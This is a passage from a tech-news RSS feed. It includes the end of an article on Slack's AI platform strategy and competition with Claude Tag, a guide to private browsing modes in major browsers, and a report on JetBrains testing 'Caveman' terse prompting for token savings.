Claude — and one of Slack's most visible power users. Just last week, <a href="https://venturebeat.com/technology/anthropic-launches-claude-tag-replacing-its-slack-app-with-a-persistent-ai-teammate-that-learns-monitors-and-works-autonomously">Anthropic launched Claude Tag</a>, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported <a href="https://www.theinformation.com/articles/salesforce-employees-worry-anthropics-invasion-slack">internal anxiety</a> about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.</p><p>Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.</p><p>"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.</p><p>"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.</p><p>His argument is that feature overlap between <a href="https://slack.com/features/slackbot">Slackbot</a>, <a href="https://www.anthropic.com/news/introducing-claude-tag">Claude Tag</a>, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.</p><p>"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.</p><p>The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.</p><h2><b>How Slack plans to compete with Microsoft Teams and Google in the AI era</b></h2><p>Asked directly about competitive positioning against <a href="https://www.microsoft.com/en-us/microsoft-teams/log-in">Microsoft Teams</a> and <a href="https://workspace.google.com/">Google Workspace</a>, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.</p><p>"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."</p><p>He cited <a href="https://www.shopify.com/">Shopify</a> as an example, where an internal AI agent called <a href="https://www.ashgaliyev.com/shopify-river.html">River</a> is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a <a href="https://fortune.com/2026/06/27/microsoft-copilot-boss-jacob-andreou-tapped-by-satya-nadella-to-save-ai-strategy/">Fortune report</a> noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."</p><p>The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called <a href="https://viktor.com/hire-an-ai-employee?gad_source=1&amp;gad_campaignid=23610878065&amp;gbraid=0AAAABC9uvB--JiQPb5do0TpcAnPyKB3Gz&amp;gclid=CjwKCAjwx7LSBhB3EiwAjcodxAmoASmBycYGHkrfafr1WOuFKNG5AQYQLWLmYZLmc1diiKMM0wOKARoCa1sQAvD_BwE">Viktor</a>, which embeds AI agents inside Slack and Teams workspaces, recently raised a <a href="https://viktor.com/blog/viktor-series-a">$75 million Series A</a> led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.</p><p><a href="https://www.box.com/home">Box</a>, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.</p><h2><b>Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company</b></h2><p>Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.</p><p>For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.</p><p>"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."</p><p>He cited <a href="https://engine.com/">Engine</a>, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."</p><p>The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.</p><h2><b>What analysts and CIOs should watch as Slack rolls out its biggest AI update yet</b></h2><p>The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.</p><p>First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley <a href="https://www.cio.com/article/4178840/salesforces-headless-360-monetization-play-could-give-cios-a-familiar-budgeting-headache.html">cautioned</a> when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."</p><p>Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.</p><p>Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a> into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.</p><p>And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.</p><p>Salesforce reported record first-quarter revenue of <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">$11.1 billion in fiscal Q1 2027</a>, with <a href="https://investor.salesforce.com/news/news-details/2026/Salesforce-Delivers-Record-First-Quarter-Fiscal-2027-Results/default.aspx">Agentforce ARR surpassing $1 billion</a> for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.</p><p>"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.</p><p>Five years ago, <a href="https://www.cnbc.com/2020/12/01/salesforce-buys-slack-for-27point7-billion-in-cloud-companys-largest-deal.html">Salesforce paid $27.7 billion</a> for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to go incognito in Chrome, Edge, Firefox, and Safari]]></title>
<description><![CDATA[Private browsing. Incognito. Privacy mode.



Web browser functions like those trace their roots back more than a decade, and the feature — first found in a top browser in 2005 — spread quickly as one copied another, made tweaks and minor improvements.



But privacy-promising labels can be treac...]]></description>
<link>https://tsecurity.de/de/3652543/it-nachrichten/how-to-go-incognito-in-chrome-edge-firefox-and-safari/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652543/it-nachrichten/how-to-go-incognito-in-chrome-edge-firefox-and-safari/</guid>
<pubDate>Tue, 07 Jul 2026 20:51:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Private browsing. Incognito. Privacy mode.</p>



<p>Web browser functions like those trace their roots back more than a decade, and the feature — first found in a top browser in 2005 — spread quickly as one copied another, made tweaks and minor improvements.</p>



<p>But privacy-promising labels can be treacherous. Simply put, going “<a href="https://www.computerworld.com/article/1670600/you-are-not-very-incognito-in-incognito-mode.html" title="Incognito">incognito</a>” is as effective in guarding <a href="https://www.computerworld.com/article/1612064/cookie-conundrum-the-loss-of-third-party-trackers-could-diminish-your-privacy.html">online privacy</a> as witchcraft is in warding off a common cold.</p>



<p>That’s because private browsing is intended to wipe <i>local</i> traces of where you’ve been, what you’ve searched for, the contents of forms you’ve filled. It’s meant to hide, and not always conclusively at that, your tracks from others with access to the personal computer. That’s it.</p>



<h2 class="wp-block-heading">How to keep web browsing private</h2>



<p>We’ve spelled out how to go into incognito or private browsing mode for the four major browsers in this order: </p>



<ul class="wp-block-list">
<li>Google Chrome’s Incognito mode</li>



<li>Microsoft Edge’s InPrivate browsing</li>



<li>Mozilla Firefox’s New Private Window mode</li>



<li>Apple Safari’s New Private window mode</li>
</ul>



<p>At their most basic, these features promise that they won’t record visited sites to the browsing history, save cookies that show you’ve been to and logged into sites, or remember credentials like passwords used during sessions. But your traipses through the web are still <a href="https://www.computerworld.com/article/1611809/what-a-future-without-browser-cookies-will-look-like.html">traceable by Internet providers</a> – and the authorities who serve subpoenas to those entities – employers who control the company network and advertisers who follow your every footstep.</p>



<p>To end that cognitive dissonance, <a href="https://www.computerworld.com/article/1639403/online-privacy-best-browsers-settings-and-tips.html">most browsers have added more advanced privacy tools</a>, generically known as “anti-trackers,” which block various kinds of bite-sized chunks of code that advertisers and websites use to trace where people go in attempts to compile digital dossiers or serve targeted advertisements.</p>



<p>Although it might seem reasonable that a browser’s end game would be to craft a system that blends incognito modes with anti-tracking, it’s highly unlikely. Using either private browsing or anti-tracking carries a cost: site passwords aren’t saved for the next visit or sites break under the tracker scrubbing. Nor are those costs equal. It’s much easier to turn on some level of anti-tracking by default than it would be to do the same for private sessions, as evidenced by the number of browsers that do the former without complaint while <i>none</i> do the latter.</p>



<p>Private browsing will, by necessity, always be a niche, as long as sites rely on cookies for mundane things like log-ins and cart contents.</p>



<p>But the mode remains a useful tool whenever the browser — and the computer it’s on — are shared. To prove that, we’ve assembled instructions and insights on using the incognito features — and anti-tracking tools — offered by the top four browsers: <a title="Google Chrome" href="https://www.computerworld.com/article/1719300/a-mac-user-s-guide-to-the-google-chrome-browser.html">Google Chrome</a>, Microsoft’s <a href="https://www.computerworld.com/article/1713244/how-to-replace-edge-as-windows-default-browser.html">Chromium-based Edge</a>, Mozilla’s Firefox and Apple’s Safari.</p>



<h2 class="wp-block-heading">How to go incognito with Google Chrome</h2>



<p>Although <i>incognito</i> may be a synonym to some users for any browser’s private mode, Google gets credit for grabbing the word as the feature’s snappiest name when it launched the tool in late 2008, just months after Chrome debuted.</p>



<p>The easiest way to open an Incognito window is with the keyboard shortcut combination <strong>Ctrl-Shift-N</strong> (Windows) or <strong>Command-Shift-N</strong> (macOS).</p>



<p>Another way is to click on the menu on the upper right — it’s the three vertical dots — and select <strong>New Incognito Window</strong> from the list.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="876" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Open a new Incognito window in Chrome using keyboard shortcuts or from the menu by choosing “New Incognito window.”</p>
</figcaption></figure><p class="imageCredit">Google</p></div>



<p>The new Incognito window can be recognized by the dark background and the stylized “spy” icon just to the left of the three-dots menu. Chrome also reminds users of just what Incognito does and doesn’t do each time a new window is opened. The message may get tiresome for regular Incognito users, but it may also save a job or reputation; it’s important that users remember Incognito doesn’t prevent ISPs, businesses, schools and organizations from knowing where customers, workers, students, and others went on the web or what they searched for.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="699" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Each time a new Incognito window is opened, Chrome reminds users what Incognito doesn’t save. The browser also puts a toggle on the screen for blocking third-party cookies.</p>
</figcaption></figure><p class="imageCredit">Google</p></div>



<p>Incognito’s introductory screen also displays a toggle — it’s on by default — along with text that states third-party cookies will be blocked while in the privacy mode. Although cookies are never saved locally as long as the user stays in Incognito, websites have been able to track user movements from site to site <i>while within Incognito</i>. Such tracking might be used, for example, to display ads to a user visiting multiple sites in Incognito. This third-party cookie blocking, which halts such behavior, debuted in May 2020.</p>



<p>Google has been experimenting with new language on Chrome’s Incognito introductory page, but it’s yet to make it to the desktop browser. In the Canary build of Chrome on Android, however, the intro now outlines “What Incognito does” and “What Incognito doesn’t do,” to make the mode’s capabilities somewhat clearer to the user. (Some have speculated that the changes were made in reaction to a still-ongoing class-action lawsuit file in 2020 that alleged Google continued to track users’ online behavior and movements in Incognito.)</p>



<p>Once a tab in Incognito has been filled with a website, Chrome continues to remind users that they’re in Incognito by the dark background of the address bar and window title.</p>



<p>A link on an existing page can be opened directly into Incognito by right-clicking the link, then choosing <strong>Open Link in Incognito Window</strong> from the resulting menu.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="876" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>What Incognito looks like after pulling up a website. Note the “spy” icon at the right of the address bar.</p>
</figcaption></figure><p class="imageCredit">Google</p></div>



<p><strong>Pro tip</strong><em><strong>:</strong> To close an Incognito window, shutter it like any other Chrome window by clicking the X in the upper right corner (Windows) or the red dot in the upper left (macOS).</em></p>



<h2 class="wp-block-heading">How to privately browse with Microsoft Edge</h2>



<p>Microsoft borrowed the name of its private browsing mode, InPrivate, from Internet Explorer (IE), the finally-being-retired legacy browser. InPrivate appeared in IE in March 2009, about three months after Chrome’s Incognito and three months before Firefox’s privacy mode. When Edge was first released in 2015 and then relaunched as a clone of Chrome in January 2020, InPrivate was part of the package, too.</p>



<p>At the keyboard, the combination of <strong>Ctrl-Shift-N</strong> (Windows) or <strong>Command-Shift-N</strong> (macOS) opens an InPrivate window.</p>



<p>A slower way to get there is to click on the menu at the upper right — it’s three dots arranged horizontally — and choose <strong>New InPrivate Window</strong> from the menu.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="874" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Like other browsers, Edge will take you incognito from the menu when you pick New InPrivate window.</p>
</figcaption></figure><p class="imageCredit">Microsoft</p></div>



<p>Edge does a more thorough job of explaining what its private browsing mode does and doesn’t do than any of its rivals, with on-screen paragraphs dedicated to describing what data the browser collects in InPrivate and how the strictest additional anti-tracking setting can be called on from within the mode. In addition, Edge uses the more informal “What Incognito does” and “What Incognito doesn’t do” language on its InPrivate introductory screen.</p>



<p>Microsoft’s browser also well marks InPrivate when the mode is operating: an oval marked “In Private” to the right of the address bar combines with a full-black screen to make sure users know where they’re at.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="843" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Edge offers a detailed explanation of what its private browsing mode does and doesn’t do.</p>
</figcaption></figure><p class="imageCredit">Microsoft</p></div>



<p>It’s also possible to launch an InPrivate session by right-clicking a link within Edge and selecting <strong>Open in InPrivate Window</strong>. That option is grayed out when already in a private browsing session but using <strong>Open Link in New Tab</strong> does just that within the current InPrivate frame.</p>



<p>To end InPrivate browsing, simply shut the window by clicking the X in the upper right corner (Windows) or click the red dot at the upper left (macOS).</p>



<p>Although Edge is based on Chromium, the same open-source project that comes up with the code to power Chrome, the Redmond, WA company integrated anti-tracking into its browser. Dubbed “Tracking Prevention,” it works both in Edge’s standard and InPrivate modes.</p>



<p>To set Tracking Prevention, choose <strong>Settings</strong> from the three-ellipses menu at the right, then at the next page, pick <strong>Privacy, Search and Services</strong>. Choose one of the three options — <strong>Basic, Balanced</strong> or <strong>Strict</strong> — and make sure the toggle for <strong>Tracking prevention</strong> is in the “on” position. If you want InPrivate to always default to the harshest anti-tracking — not a bad idea — toggle <strong>Always use “Strict” tracking prevention when browsing InPrivate</strong> to “on.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="708" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Toggle Always use Strict to the ‘on’ position and InPrivate will apply the most stringent anti-tracking even though Edge’s standard mode is set to, say, Balanced.</p>
</figcaption></figure><p class="imageCredit">Microsoft</p></div>



<p><strong>Pro tip:</strong> <i>To open Edge with InPrivate — rather than first opening Edge in standard mode, then launching InPrivate — right-click the Edge icon in the Windows taskbar and select <strong>New InPrivate Window</strong> from the list. There is no similar one-step way to do this in macOS.</i></p>



<h2 class="wp-block-heading">How to privately browse with Mozilla Firefox</h2>



<p>After Chrome trumpeted Incognito, browsers without something similar hustled to catch up. Mozilla added its take — dubbed Private Browsing — about six months after Google, in June 2009.</p>



<p>From the keyboard, a private browsing session can be called up using the combination <strong>Ctrl-Shift-P</strong> (Windows) or <strong>Command-Shift-P</strong> (macOS).</p>



<p>Alternately, a private window will open from the menu at the upper right of Firefox — three short horizontal lines — after selecting <strong>New private window</strong>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="889" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Opening a private browsing window is as simple as choosing New Private Window from the Firefox menu.</p>
</figcaption></figure><p class="imageCredit">Mozilla</p></div>



<p>A private session window is marked by the purple “mask” icon in the title bar of the Firefox frame. In Windows, the icon is to the left of the minimize/maximize/close buttons; on a Mac, the mask squats at the far right of the title bar. Unlike Chrome and Edge, Firefox does not color-code the top components of the browser window to signify the user is in privacy mode.</p>



<p>Like other browsers, Firefox warns users that private browsing is no cure-all for privacy ills but is limited in what it blocks from being saved during a session. “Private window: Firefox clears your search and browsing history when you close all private windows. This doesn’t make you anonymous,” the caution reads.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="654" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Firefox reminds users that while a private session doesn’t save searches or browsing histories, it doesn’t cloak them in complete anonymity. The page also links to more detailed information.</p>
</figcaption></figure><p class="imageCredit">Mozilla</p></div>



<p>A link can be opened into a Firefox Private Window by right-clicking the link, then choosing <strong>Open Link in New Private Window</strong> from the menu.</p>



<p>To close a Private Window, shut it down just as one would any Firefox window by clicking the X in the upper right corner (Windows) or the red dot in the upper left (macOS).</p>



<p>Notable is that Firefox’s private browsing mode is accompanied by the browser’s superb “Enhanced Tracking Protection,” a suite of tracker blocking tools that stymie all sorts of ad-and-site methods for identifying users, then watching and recording their online behavior. While the earliest version of this was offered only inside Private Windows, the expanded technologies also work within standard mode.</p>



<p>Because Enhanced Tracking Protection is enabled by default within Firefox, it doesn’t matter which of its settings — <strong>Standard, Strict</strong> or <strong>Custom</strong> — is selected as far as private browsing goes; everything that can be blocked will be blocked.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>The shield appears in the address bar to note what trackers were blocked by Firefox in a Private Window. Clicking on the icon brings up an accounting of what was barred.</p>
</figcaption></figure><p class="imageCredit">Mozilla</p></div>



<p><strong>Pro tip:</strong> <i>Private Browsing sessions take place over the more secure HTTPS, not the once-standard HTTP protocol. Users don’t need to do anything: The new HTTPS-only policy is on by default. (If the destination site doesn’t support HTTPS, Firefox will go into fallback mode, connecting via HTTP instead.)</i></p>



<h2 class="wp-block-heading">How to browse privately with Apple’s Safari</h2>



<p>Chrome may get far more attention for its Incognito than any other browser — no surprise, since it’s by far the most popular browser on the planet — but Apple’s Safari was actually the first to introduce private browsing. The term <i>private browsing</i> was first bandied in 2005 to describe early Safari features that limited what was saved by the browser.</p>



<p>Side note: Early in private browsing, the label <i>porn mode</i> was often used as a synonym to describe what many writers and reporters assumed was the primary application of the feature. The term has fallen out of favor.</p>



<p>To open what Safari calls a Private Window on a Mac, users can do a three-key combination of <strong>Command-Shift-N</strong>, the same shortcut Chrome adopted. Otherwise, a window can be called up by selecting the <strong>File</strong> menu and clicking on New Private Window.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="803" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>From the File menu in Safari, selecting New Private Window gets you started.</p>
</figcaption></figure><p class="imageCredit">Apple</p></div>



<p>Safari tags each Private Window by darkening the address bar. It also issues a reminder of what it does — or more accurately — what it doesn’t do. “Safari will keep your browsing history private for all tabs of this window. After you close this window, Safari won’t remember the pages you visited, your search history or your AutoFill information,” the top-of-the-page note reads. The warning is more terse than those of other browsers and omits cautions about still-visible online activity.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="321" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>The darkened address bar at the top — and the Private button in the left window corner — signal that this Safari window is for private browsing.</p>
</figcaption></figure><p class="imageCredit">Apple</p></div>



<p>Like Firefox, Safari automatically engages additional privacy technologies, whether the user browses in standard or private mode. Safari’s Intelligent Tracking Protection (ITP), which has been around for nearly a decade and repeatedly upgraded, now blocks all third-party cookies, among other components advertisers and services use to track people as they bounce from one site to another. ITP is controlled by a single on-off switch — on is the default — found in <strong>Preferences</strong> under the <strong>Privacy</strong> icon. If the <strong>Website tracking:</strong> box is checked to mark <strong>Prevent cross-site tracking</strong>, ITP is on.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized large"> width="1024" height="453" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Switching on cross-site tracking enables Safari’s Intelligent Tracking Protection, which blocks a wide variety of bits advertisers try to use to follow you around the web while you’re using a Private Window.</p>
</figcaption></figure><p class="imageCredit">Apple</p></div>



<p>A link can be opened directly to a Private Window by right-clicking, then selecting <strong>Open Link in New Private Window</strong>. Close a Private Window just as any Safari window, by clicking the red dot in the upper left corner of the browser frame.</p>



<p><strong>Pro tip:</strong> <i>Once in a Safari Private Window, opening a new tab — either by clicking the + icon at the upper right or by using the Command-T key combo — omits the Private Browsing Enabled notice. (The darkened address bar remains as the sole indicator of a private browsing session.) Other browsers, such as Firefox, repeat their cautionary messages each time a tab is opened in an incognito session.</i></p>



<p><strong>Related reading:</strong></p>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1717405/googles-chromium-browser-explained.html">Chromium explained: How the open-source engine drives today’s browsers</a></li>



<li><a href="https://www.computerworld.com/article/4083528/ai-web-browsers-are-cool-helpful-and-utterly-untrustworthy.html">AI web browsers are cool, helpful, and utterly untrustworthy</a></li>



<li><a href="https://www.computerworld.com/article/3996011/ai-windows-web-browser.html">How AI will transform your Windows web browser</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['Regarding Arkane… how much?' — Xbox is falling apart and as thousands more are hit with layoffs, I think it's time for someone to save the Dishonored and Marvel's Blade developer before it's too late]]></title>
<description><![CDATA[As Xbox hits thousands more workers with layoffs, I'm desperately hoping that Arkane Studios will be saved.]]></description>
<link>https://tsecurity.de/de/3651642/it-nachrichten/regarding-arkane-how-much-xbox-is-falling-apart-and-as-thousands-more-are-hit-with-layoffs-i-think-its-time-for-someone-to-save-the-dishonored-and-marvels-blade-developer-before-its-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651642/it-nachrichten/regarding-arkane-how-much-xbox-is-falling-apart-and-as-thousands-more-are-hit-with-layoffs-i-think-its-time-for-someone-to-save-the-dishonored-and-marvels-blade-developer-before-its-too-late/</guid>
<pubDate>Tue, 07 Jul 2026 15:18:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As Xbox hits thousands more workers with layoffs, I'm desperately hoping that Arkane Studios will be saved.]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Talk like a caveman’ prompts save tokens, but far less than promised]]></title>
<description><![CDATA[Developers looking to curb the cost of AI-powered coding tools have increasingly turned to the “Caveman” prompting style, which instructs coding assistants to communicate in blunt, telegraphic language and avoid conversational padding. The theory is simple: fewer words mean fewer tokens, translat...]]></description>
<link>https://tsecurity.de/de/3651521/ai-nachrichten/talk-like-a-caveman-prompts-save-tokens-but-far-less-than-promised/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3651521/ai-nachrichten/talk-like-a-caveman-prompts-save-tokens-but-far-less-than-promised/</guid>
<pubDate>Tue, 07 Jul 2026 14:34:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Developers looking to curb the cost of AI-powered coding tools have increasingly turned to the “Caveman” prompting style, which instructs coding assistants to communicate in blunt, telegraphic language and avoid conversational padding. The theory is simple: fewer words mean fewer tokens, translating into lower inference costs for organizations deploying AI agents at scale.</p>



<p>A new test from IDE maker JetBrains confirms that terse prompting styles such as the viral open-source <a href="https://github.com/juliusbrussee/caveman" target="_blank" rel="noreferrer noopener">Caveman project</a> can reduce token usage without hurting coding performance. However, the company found that the savings were far smaller than supporters claim. </p>



<p>JetBrains used the Harbor open-source evaluation framework and tasks from SkillsBench for its test, and found that the Caveman technique reduced usage of output tokens by about 8.5%, far below its claimed 65%.</p>



<p>The IDE-maker ran paired benchmarks across 86 real-world software engineering tasks in <a href="https://www.infoworld.com/article/3853805/vibe-coding-with-claude-code.html">Claude Code</a>, comparing coding sessions that used the Caveman prompting style against otherwise identical sessions without it.</p>



<p>While an initial evaluation of just 10 tasks indicated savings to the tune of about 30%, the reduction fell to about 8.5% as the test progressed, JetBrains engineer <a href="https://www.linkedin.com/in/dshiryaev" target="_blank" rel="noreferrer noopener">Denis Shiryaev</a>, wrote in a <a href="https://blog.jetbrains.com/ai/2026/07/speak-to-ai-agents-like-cavemen-tosave-tokens/" target="_blank" rel="noreferrer noopener">blog post</a>, suggesting that the Caveman technique’s impact was less pronounced across a broader and more representative workload.</p>



<h2 class="wp-block-heading">Why the savings fell short</h2>



<p>The open-source Caveman project suggests that if an agent drops the conversational padding around responses and communicates in terse, telegraphic fragments, the token outputs saved could translate into meaningful savings at scale.</p>



<p>That assumption, according to Shiryaev, does not fully account for how modern coding agents use tokens.</p>



<p>While shorter prompts and responses do reduce the amount of text exchanged with users, the engineer said the bulk of token consumption in agentic coding workflows comes from reading project files, reasoning through tasks, invoking tools and generating code, limiting the overall savings from trimming conversational language alone.</p>



<p>Further, the engineer pointed out that translating token savings into lower operating costs may not always be straightforward for enterprises.</p>



<p>Although the Caveman technique, during testing, generally resulted in lower costs on individual coding tasks, the cumulative cost of the full benchmark was higher for the Caveman runs after a single dependency-audit task crossed Claude Code’s long-context pricing tier, Shiryaev pointed out.</p>



<p>That same task had produced a similar cost outlier in an earlier baseline run, indicating that the anomaly reflected the workload rather than the prompting technique itself, Shiryaev added.</p>



<h2 class="wp-block-heading">No degradation in code quality</h2>



<p>However, not all of JetBrains’ findings undercut the Caveman technique.</p>



<p>The test found no detectable impact on task success rates, code quality or execution time, Shiryaev said, suggesting that while the prompting style may not deliver the dramatic token savings claimed by its proponents, it also did not impair the coding agent’s effectiveness.</p>



<p>Beyond simple cost saving, the findings from the test also add nuance to a growing body of prompt-engineering techniques aimed at reducing AI inference costs.</p>



<p>Besides the Caveman project, other approaches, including data analyst <a href="https://www.linkedin.com/in/drona-reddy/" target="_blank" rel="noreferrer noopener">Drona Reddy’s</a> <a href="https://www.infoworld.com/article/4152333/how-to-halve-claude-output-costs-with-a-markdown-tweak.html">Markdown-based prompting technique</a>, have claimed meaningful token savings.</p>



<p>For now, enterprises and their leaders should view such prompt-engineering techniques as optimizations to be validated rather than assumptions to be adopted, with production workloads ultimately determining whether the promised savings materialize.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘This kind of work blows my mind’: An Apple fan saved $2,200 by manually upgrading their Mac’s storage — but admitted the process ‘was really hell’]]></title>
<description><![CDATA[An Apple user manually upgraded their MacBook’s storage and saved $2,200 by doing so]]></description>
<link>https://tsecurity.de/de/3651471/it-nachrichten/this-kind-of-work-blows-my-mind-an-apple-fan-saved-2200-by-manually-upgrading-their-macs-storage-but-admitted-the-process-was-really-hell/</link>
